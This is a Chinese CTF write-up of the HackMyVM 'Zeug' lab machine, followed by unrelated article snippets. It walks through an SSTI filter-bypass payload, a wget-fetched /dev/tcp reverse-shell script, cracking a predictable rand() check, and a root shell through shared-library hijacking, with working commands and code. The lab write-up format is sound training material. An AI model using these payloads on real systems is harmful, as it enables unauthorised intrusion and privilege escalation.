[HackMyVM]靶场 Zeug

kali:192.168.56.104

主机发现

arp-scan -l
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:05       (Unknown: locally administered)
192.168.56.100  08:00:27:ff:8c:0f       PCS Systemtechnik GmbH
192.168.56.118  08:00:27:cb:87:d4       PCS Systemtechnik GmbH

靶机:192.168.56.118

端口扫描

nmap 192.168.56.118
# nmap 192.168.56.118
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-08 18:21 CST
Nmap scan report for 192.168.56.118
Host is up (0.00035s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
5000/tcp open  upnp

看5000端口

可以文件上传

测试发现只准上传html htm文件,并且过滤了许多关键词

根据报错信息出现app.py,猜测存在ssti模板

/console确实存在

那么就把模板注入放在html的body里面,确实可以

过滤了很多东西,包括中括号

发现内置函数里面有eval

  {{lipsum.__globals__.__builtins__.eval("__impor""t__('o' 's').pop""en('whoami').read()")}}

尝试反弹shell无法执行,打算上传个反弹shell的脚本

# cat she.sh    
bash -i >& /dev/tcp/192.168.56.104/4567 0>&1
 {{lipsum.__globals__.__builtins__.eval("__impor""t__('o' 's').pop""en('wget http://192.168.56.104:6677/she.sh').read()")}}
 {{lipsum.__globals__.__builtins__.eval("__impor""t__('o' 's').pop""en('bash she.sh').read()")}}
# nc -lvnp 4567      
listening on [any] 4567 ...
connect to [192.168.56.104] from (UNKNOWN) [192.168.56.118] 43064
bash: cannot set terminal process group (420): Inappropriate ioctl for device
bash: no job control in this shell
cosette@zeug:~/zeug$ whoaim
whoaim
bash: whoaim: command not found
cosette@zeug:~/zeug$ whoami
whoami
cosette
cosette@zeug:~$ sudo -l
sudo -l
Matching Defaults entries for cosette on zeug:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,use_ptyUser cosette may run the following commands on zeug:(exia) NOPASSWD: /home/exia/seed

/home/exia/seed 可以提权到exia

并且cosette目录下面有一个seed_bak文件

传到主机上逆向一下

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [rsp+Ch] [rbp-14h] BYREFint v5; // [rsp+10h] [rbp-10h]int v6; // [rsp+14h] [rbp-Ch]unsigned __int64 v7; // [rsp+18h] [rbp-8h]v7 = __readfsqword(0x28u);banner(argc, argv, envp);srand(1u);v5 = rand();v6 = -559038737;v4 = 0;printf("Enter a number: ");__isoc99_scanf("%d", &v4);if ( v6 == (v5 ^ v4) )system("/bin/bash");elseputs("Wrong.");return 0;
}

v5是个伪随机数,如果v5^输入的值为-559038737则拿到shell

写个脚本

#include <stdio.h>
#include <stdlib.h>int main()
{srand(1u);int v5; v5 = rand();int v6 = -559038737;printf("%d\n", v5 ^ v6);return 0;
}

仿照写个解密脚本

#include <stdio.h>
#include <stdlib.h>int main()
{srand(1u);int v5;v5 = rand();int v6 = -559038737;printf("%d\n", v5 ^ v6);return 0;
}
-1255736440
cosette@zeug:~/zeug$ sudo -u exia /home/exia/seed
********************************************
* Hi, Cosette, it's time to plant the seed *
********************************************
Enter a number: -1255736440
exia@zeug:/home/cosette/zeug$ 
exia@zeug:~$ sudo -l
Matching Defaults entries for exia on zeug:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,use_ptyUser exia may run the following commands on zeug:(root) NOPASSWD: /usr/bin/zeug

在exia用户下,/user/bin/zeug可以提权

在反编译看看里面是什么指令

int __cdecl main(int argc, const char **argv, const char **envp)
{if ( dlopen("/home/exia/exia.so", 2) )return 0;fwrite("Error opening file\n", 1uLL, 0x13uLL, _bss_start);return 1;
}

尝试将exia.so的共享库加载到/home/exia目录中

跟之前wild靶场利用一样链接库劫持

# cat exia.c 
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void init()
{setuid(0);setgid(0);unsetenv("LD_PRELOAD");system("/bin/bash");
}┌──(root㉿kali2)-[~/Desktop]
└─# gcc exia.c -shared -fPIC -o exia.so
exia.c: In function ‘init’:
exia.c:6:9: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]6 |         setuid(0);|         ^~~~~~
exia.c:7:9: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]7 |         setgid(0);|         ^~~~~~┌──(root㉿kali2)-[~/Desktop]
└─# python -m http.server 6677
Serving HTTP on 0.0.0.0 port 6677 (http://0.0.0.0:6677/) ...
192.168.56.118 - - [08/Mar/2024 21:37:44] "GET /exia.so HTTP/1.1" 200 -
exia@zeug:~$ wget http://192.168.56.104:6677/exia.so
--2024-03-08 07:37:42--  http://192.168.56.104:6677/exia.so
Connecting to 192.168.56.104:6677... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15520 (15K) [application/octet-stream]
Saving to: ‘exia.so’exia.so             100%[===================>]  15.16K  --.-KB/s    in 0.002s  2024-03-08 07:37:42 (7.33 MB/s) - ‘exia.so’ saved [15520/15520]exia@zeug:~$ sudo -l
Matching Defaults entries for exia on zeug:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,use_ptyUser exia may run the following commands on zeug:(root) NOPASSWD: /usr/bin/zeug
exia@zeug:~$ sudo /usr/bin/zeug
root@zeug:/home/exia# cat /root/r*
HMYVM{root_Ut9RX5o7iZVKXjrOgcGW3fxBq}

总结:1.SSTI注入绕过,可以先上传一个反弹shell的sh文件然后再bash执行

        2.伪随机数求解

        3.动态链接库劫持

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/730779.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年起该地推行「软考电子证书」!关于软考证书常见问题解答!

近日&#xff0c;安徽省人力资源和社会保障厅发布“关于2024年度安徽省专业技术人员职业资格考试工作计划及有关事项”的通知&#xff1a;从2024年起&#xff0c;推行电子证书&#xff0c;原则上不再发放纸质证书&#xff0c;电子证书与纸质证书具有同等效力。 安徽也推行电子…

Seata 2.x 系列【5】直接部署

有道无术&#xff0c;术尚可求&#xff0c;有术无道&#xff0c;止于术。 本系列Seata 版本 2.0.0 本系列Spring Boot 版本 3.2.0 本系列Spring Cloud 版本 2023.0.0 源码地址&#xff1a;https://gitee.com/pearl-organization/study-seata-demo 文章目录 1. 概述2. 环境要…

学习嵌入式C语言要掌握到什么程度?

学习嵌入式C语言要掌握到什么程度&#xff1f; 在开始前我分享下我的经历&#xff0c;我刚入行时遇到一个好公司和师父&#xff0c;给了我机会&#xff0c;一年时间从3k薪资涨到18k的&#xff0c; 我师父给了一些 电气工程师学习方法和资料&#xff0c;让我不断提升自己&#…

Java注解介绍

Java注解 注解介绍元注解RetentionTargetDocumentedInherited接口类测试结果 注解介绍 Java注解&#xff08;Annotation&#xff09;是一种元数据&#xff08;Metadata&#xff09;的形式&#xff0c;它可以被添加到Java代码中的类、方法、变量、参数等元素上&#xff0c;以提…

一分钟带你入门Selenium入门!【建议收藏】

Selenium入门 欢迎阅读Selenium入门讲义&#xff0c;本讲义将会重点介绍Selenium的入门知识以及Selenium的前置知识。 自动化测试的基础 在Selenium的课程以前&#xff0c;我们先回顾一下软件测试的基本原理&#xff0c;为我们进一步完成Selenium自动化测试做好准备。 软件…

考研数学|张宇30讲,搭配什么基础题?

如果基础跟的是张宇&#xff0c;那么基础做的题目要根据自己的题目来决定 题集的选择最好不要太难&#xff0c;而且基础也不用做太多题目&#xff0c;以数学知识点的运用&#xff0c;培养做题感觉为主。 张宇老师的课程在基础阶段也有配套的课程&#xff0c;就是《张宇基础30…

2023郑州大学招新赛暨选拔赛补题

U287342 A.NANA与字符串 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) U287344 B.NANA学跳舞 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) U287345 C.NANA去上课 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) #include <bits/stdc.h> using namespace std; #de…

关于进程和线程

目录 前言: 1进程: 1.1定义&#xff1a; 1.1.1进程是操作系统分配资源的基本单元&#xff0c;拥有自己的独立空间和资源。 1.1.2每个进程都有一个唯一的PID&#xff08;进程标识符&#xff09;来标识。 1.2进程间通信&#xff1a; 1.2.1进程不是孤立的&#xff0c;它们之…

搜索引擎都没流量啦,官网建设还有啥意义?

百度等搜索引擎都没啥流量了&#xff0c;再建设官网还有啥用&#xff1f;如果你把官网定位于获客&#xff0c;那真的没啥太大用处&#xff0c;但是官网不仅仅是用来获客的。 一、搜索引擎的流量被稀释了 搜索引擎流量减少的原因有多个&#xff0c; 1. 社交媒体的崛起&#xf…

电机控制系列模块解析(第八篇)—— 高频注入法

一、基本原理 在电机控制领域&#xff0c;高频方波注入法常用于估计转子的位置和转速。其工作原理是每隔一定的时间间隔在电机输出电压上叠加一个电压脉冲。然后&#xff0c;在两相静止坐标系下或者同步旋转坐标系下对采样时刻的电压和电流进行相应的计算&#xff0c;以实现对…

基于Python3的数据结构与算法 - 11 基数排序

一、引入 多关键字排序&#xff1a;假如现在有一个员工表。要求按照薪资排序&#xff0c;薪资相同的员工按照年龄排序。 先按照年龄进行排序&#xff0c;再按照薪资进行稳定的排序 按照这种思路我们对[32,13,94,52,17,54,93]排序&#xff1a; 先比较十位数的数字大小&#…

JS-04-javaScript数据类型和变量

一、数据类型 计算机能处理的远不止数值&#xff0c;还可以处理文本、图形、音频、视频、网页等各种各样的数据&#xff0c;不同的数据&#xff0c;需要定义不同的数据类型。在JavaScript中定义了以下几种数据类型&#xff1a; 1-1、Number JavaScript不区分整数和浮点数&…

c++ set集合按位置(索引)查询元素的方法

在STL中集合好处是可以对输入的元素进行排序&#xff0c;就是说在某些情况下对某些需要有序的元素可以使用set集合存储。不过在set集合没有提供按值查询的方法。 在集合中&#xff0c;set集合不允许出现重复元素&#xff0c;使用multiset集合可以存储重复元素。 按位置查询 按…

RK平台内核解压方式

64 位平台 64 位平台的机器通常烧写Image&#xff0c;由U-Boot 加载到目标运行地址。但是 RK平台的 U-Boot 还可支持 对64位 LZ4格式的压缩内核进行解压。但是用户必须使能&#xff1a; CONFIG_LZ4y64位LZ4压缩内核的解压前、后地址必须定义在各平台的 rkxxx_common.h 文件中…

【C++】每日一题 128 最长连续序列

给定一个未排序的整数数组 nums &#xff0c;找出数字连续的最长序列&#xff08;不要求序列元素在原数组中连续&#xff09;的长度。 请你设计并实现时间复杂度为 O(n) 的算法解决此问题。 #include <iostream> #include <vector> #include <unordered_set&g…

预训练模型的使用torchvision.model和timm

pytorch 自带的torchvision.models 加载已经下好的模型 如果您想在导入 ResNet-50 模型时指定 pretrainedFalse&#xff0c;表示不加载预训练权重&#xff0c;您可以按照以下方式进行&#xff1a; import torch import torchvision.models as models# 创建 ResNet-50 模型实…

目标检测——高压线绝缘子数据集

一、简介 绝缘子是电力系统中至关重要的部件,它承担着保障电力安全、可靠传输的重要任务。绝缘子的性能直接影响到高压输电线路的运行状态。绝缘子长期暴露在恶劣的自然环境中,如强风、雷电、高温、低温、盐雾等,这些环境因素都可能对绝缘子的性能产生不良影响,导致其出现…

西门子PLC的交互界面怎样设计?

西门子PLC的交互界面设计集中于提供一个直观、多功能且用户友好的环境&#xff0c;旨在使工程师和技术人员能够有效地进行编程、监控和维护。下面是一些设计西门子PLC交互界面时的关键考虑因素&#xff1a; 1. **图形化编程环境**&#xff1a;设计时&#xff0c;重点在于提供直…

关于Vivado的实施过程、SDC和XDC约束支持、Vivado实施子流程、Tcl API支持脚本

关于Vivado的实施过程 AMD Vivado™设计套件可实现以下AMD设备体系结构&#xff1a;AMD Versal™自适应计算加速平台&#xff08;自适应SoC&#xff09;&#xff0c;AMDUltraScale™、AMD UltraScale™和AMD 7系列FPGA。各种设计来源如下支持&#xff0c;包括&#xff1a; •…

【视频图像取证篇】模糊图片复原车牌号技术原理和实战应用小结

【视频图像取证篇】模糊图片复原车牌号技术原理和实战应用小结 模糊图片复原车牌号常用的技术原理和实战应用—【蘇小沐】 &#xff08;一&#xff09;运动模糊视频图像 由于各种各样的原因&#xff0c;主体或者拍摄设备运动共同造成的视频图像模糊等。 1、快门速度 快门速…